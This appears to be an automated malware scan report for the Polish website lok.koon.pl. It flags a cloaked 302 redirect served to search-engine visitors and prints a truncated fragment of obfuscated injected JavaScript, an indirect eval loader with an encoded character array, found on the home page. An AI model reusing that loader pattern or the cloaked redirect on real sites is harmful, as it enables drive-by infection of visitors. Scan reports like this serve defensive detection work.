Malicious/Suspicious Redirects
| Request | Server response | Status |
URL: http://www.lok.koon.pl/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: www.lok.koon.pl Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Cache-Control: max-age=0 Connection: close Date: Tue, 22 Apr 2014 20:03:30 GMT Age: 0 Location: http://handsexual.com/cgi-bin/r.cgi?p=10003&i=0ba3297c&j=333&m=ea03f89fddf27c4f0af38dfe2d6af902&h=www.lok.koon.pl&u=/&q=&t=20140422160330 Server: ATS/4.2.0 Vary: Accept-Encoding Content-Length: 349 Content-Type: text/html; charset=iso-8859-1 Expires: Tue, 22 Apr 2014 20:03:30 GMT Set-Cookie: xccgtswgokoe=1; path=/; domain=www.lok.koon.pl; expires=Tue, 29-Apr-2014 20:03:30 GMT | malicious |
Scanned pages/files
| Request | Server response | Status |
http://www.lok.koon.pl/ | 200 OK Content-Length: 48892 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) v="v"+"al";if(020===0x10&&window.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){w={a:window}.a;v="e".concat(v);}}e=w[""+v];if(1){f=new Array(102,116,108,99,115,103,111,109,30,110,100,118,116,81,95,110,99,109,109,77,115,109,97,99,114,39,39,123,9,30,32,31,30,118,96,112,32,103,103,32,60,30,116,103,103,115,45,113,101,100,98,32,46,30,116,103,103,115,45,79,59,9, ...[5793 bytes skipped]... Antivirus reports:
| ||
http://www.lok.koon.pl/media/system/js/caption.js | 200 OK Content-Length: 2150 Content-Type: application/javascript | clean |
http://www.lok.koon.pl/modules/mod_note_its/assets/js/Holloway_400.font.js | 200 OK Content-Length: 32572 Content-Type: application/javascript | clean |
http://www.lok.koon.pl/templates/jb_teatime/script.js | 200 OK Content-Length: 8570 Content-Type: application/javascript | clean |
http://adstat.4u.pl/s.js?lokbogatynia | 200 OK Content-Length: 458 Content-Type: application/x-javascript | clean |
http://darmowe-liczniki.pl/usluga.licznik.26834 | 200 OK Content-Length: 230 Content-Type: text/html | clean |
http://darmowe-liczniki.pl/index.php?op=usluga&cmd=licznik_js&res='+ escape(screen.width + 'x' + screen.height) +'&id=26834&ref='+ document.referrer +' | 200 OK Content-Length: 1601 Content-Type: text/html | clean |
http://darmowe-liczniki.pl/user-login.html | 200 OK Content-Length: 7009 Content-Type: text/html | clean |
http://darmowe-liczniki.pl//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js/ | 404 Not Found Content-Length: 386 Content-Type: text/html | clean |
http://darmowe-liczniki.pl/test404page.js | 404 Not Found Content-Length: 345 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=lok.koon.pl
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://lok.koon.pl/
Result: lok.koon.pl is not infected or malware details are not published yet.
Result: lok.koon.pl is not infected or malware details are not published yet.